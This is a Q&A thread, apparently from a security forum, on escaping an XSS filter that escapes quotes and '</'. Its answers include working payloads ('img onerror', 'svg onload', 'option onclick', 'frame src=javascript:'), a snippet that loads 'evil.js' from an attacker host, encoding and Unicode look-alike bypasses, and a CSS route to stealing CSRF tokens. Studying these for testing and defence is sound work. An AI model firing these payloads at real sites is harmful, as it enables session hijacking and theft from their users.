So I am testing a website and found out I can inject most characters, here is what I have found:

  1. " is always escaped with \"

  2. < and > are not escaped

  3. Interestingly, / is only escaped with / if < and / are put together. In other words, if I have < / instead of </, the / won't be escaped. Note I have put a space in between.

I am in the try to close an opened tag. Obviously using won't work since it will be escaped as </script>. I've tried < /script> which does not seem to work. I just wonder if there is any way that can let me terminate the script?


In much more complex cases I personally like to collect all experimental results (like you did) which I found through manual testing, sit down and try to implement such filtering locally and try to bypass it with different browsers and browser versions. Additionally you need to know in which programming language was written this web application - it might be useful because it would give already an idea which filtering functions or frameworks were (probably) used. Here I already might get an idea how to bypass it.

Here is a small PHP script where I try to reconstruct given scenario:


$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;

echo filter($t);


So addslashes() additionally filters nullbyte, ' and \. So I have even more restrictions than given.

I assume that singlequotes are filtered too (e.g. in PHP you need to set explicitly the flag ENT_QUOTES to escape singlequotes in function htmlspecialchars() but on the other hand addslashes() escapes both singlequotes and doublequotes), but if not it's then even easier to exploit.

Now, instead of using: <script src='https://www.attacker.com/evil.js'></script> you could simply use: <img src=x onerror=alert(42);> or <svg/onload=alert(42)> (you could import JS script like this: appendChild(createElement('script')).src='host/evil.js')

Here we completely avoid </.

Tested on Firefox 68.0.1 (64-Bit).

Now if we are in the case <someHtmlTag> FILTERED USER INPUT HERE </someHtmlTag>:


$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;

echo "<someHtmlTag>".filter($t)."</someHtmlTag>";


It will still work if we have something like <p><?php echo filter($_GET["input"]); ?></p>. You will get: <p><img src=x onerror=alert(42);></p> and XSS will work. If we have <script><?php echo filter($_GET["input"]); ?></script>, then you could just put your JS code without any html tags at all and it will work too.

On the other hand if you have something like <iframe><?php echo filter($_GET["input"]); ?></iframe>, then it would create indeed a problem since we are forced to break out of <iframe> with </iframe> by using </ (and we cannot since it is filtered). Similar problem would occur if your user input will be put inside noscript tags: <noscript><?php echo filter($_GET["input"]); ?></noscript>. Such special cases I would consider as probably unexploitable but there still might be ways to bypass it by using e.g. some browser bugs.

It is still worth trying to use double URL encoding (%253c = <) or to use hex encoding (\x3c = <) or to use multibyte characters.

I got NO alert box (user input = <img src=x onerror=alert(42);>) for following html tags where we have:<htmlTag><?php echo filter($_GET["xss"]); ?></htmlTag>, where htmlTag is:

  • title
  • textarea
  • template (needs to be activated and get your XSS)
  • select (exploitable with input=<option value=42 onclick=alert(42);>a and get your XSS)
  • noframes
  • iframe
  • frameset (exploitable with input=<frame src=javascript:alert(42);> and get your XSS)
  • noscript
  • style (we can put our own CSS here and steal CSRF tokens)
  • script (we can directly put JS code here and we have XSS)

So I will consider cases like <title> FILTERED USER INPUT </title> unexploitable because you can't bypass </ because it gets converted to <\/. (Input like foo.php?xss=<\/ will be changed to <\\/ and make it useless too).

It still might be somehow exploitable by so called mutated XSS where browser fixes manually some broken HTML and introduces a bypass to some filter mechanisms. But I didn't test it further.

Browser HTML mutation example (without using additional JS libraries):

http://localhost/t.php?w=template&t=<template title="</noscript>"

Server returns this HTML code: <template><template title=\"<\/noscript>\"</template>

And my browser Firefox 68.0.1 (64-Bit) creates this:

enter image description here

As you can see here my browser sees that <template> tag isn't closed properly and closes it with </template> (so it bypasses the </ server side filtering mechanism because it happens in the browser on the client side) by himself, so we get a <template> inside another <template> tag.

Further reading:

  1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (several methods how to bypass certain filters)
  2. https://www.lifewire.com/html-singleton-tags-3468620 (here is a list of several HTML tags where you don't need closing tags (and don't forget about svg tag))
  3. Fuzzing Browsers for weird XSS Vectors (LiveOverflow)
  4. Huge list with different exploitation methods: https://html5sec.org/
  • Thank you and very enlightening. What I was trying to break out is something like <script> string = "user input value" </script>. If I am able to insert </script> into the location "user input value" then I can break the script. – SamTest Aug 19 '19 at 13:40
  • @ming, ahhh, now I see the problem. So you cannot use </script> because you cannot use </ and you cannot use " because it gets escaped to \". So you have something like: <script>string = "<?php echo filter($_GET["xss"]) ?>"</script>. Well, first I thought it would be impossible to break out of this. Then I played a bit with parameter: in PHP if you have access to "raw parameters" like foo.php?a=1&b=2 (without URL rewrite), then waht you can do is: foo.php?a[]?1, if PHP errors are enabled you'll get an error from server inside that string complaining about wrong input type – Awaaaaarghhh Aug 19 '19 at 17:26
  • It would look like this: var x = "<br /> <b>Warning</b>: addslashes() expects parameter 1 to be string, array given in <b>LOCAL_PATH\t.php</b> on line <b>6</b><br /> "; and you'll get an error from your browser (tested with google chrome): Uncaught SyntaxError: Invalid or unexpected token - it complains apparently about newline characters: \r or \n, which you can pass URL encoded as %0a and %0d. It is a bit unclear if it can be now somehow exploited. – Awaaaaarghhh Aug 19 '19 at 17:33
  • I appreciate your continuous follow up! It does not seem to work either, if I understand you correctly. I send your string to the server and get the following reply: <br /> <b>Warning<\/b>: addslashes() expects parameter 1 to be string, array given in <b>LOCAL_PATH\\t.php<\/b> on line <b>6<\/b><br /> what I did not mention in my original post is that \ is always encoded into \\. The reason I am asking is for most websites that I've tested, it just encode / with \/ directly, but this site encode / only when it follows <, so I think there may be some hope there :) – SamTest Aug 19 '19 at 18:19
  • yes this is a sign that addslashes() is used. As I said you need to test if you can break out of that string by using newline characters: %0a and %0d. On google chrome they break JS code. You need to do something like: foo.php?xss="%0a;", but " will be escaped to \" and this breaks your string again: string = "\"; newline \"";. So you need to test it further more. But currently I doubt if you could exploit it. – Awaaaaarghhh Aug 19 '19 at 19:13

First of all, if " is transformed into \" but \ isn't itself escaped as \, you can simply break out of the string by using \" (which will be turned into \\" - a literal backslash as the last character of the string, then it terminates).

Next, it probably won't work, but you could try putting an entire self-closing HTML element into the script body, such as <br> or <br />.

You could also try using look-alike Unicode characters for < and /; some servers will convert Unicode look-alikes into their ASCII representations, but only after any validation / sanitization checks have been performed. It's a low-probability attack but worth attempting.

Not the answer you're looking for? Browse other questions tagged or ask your own question.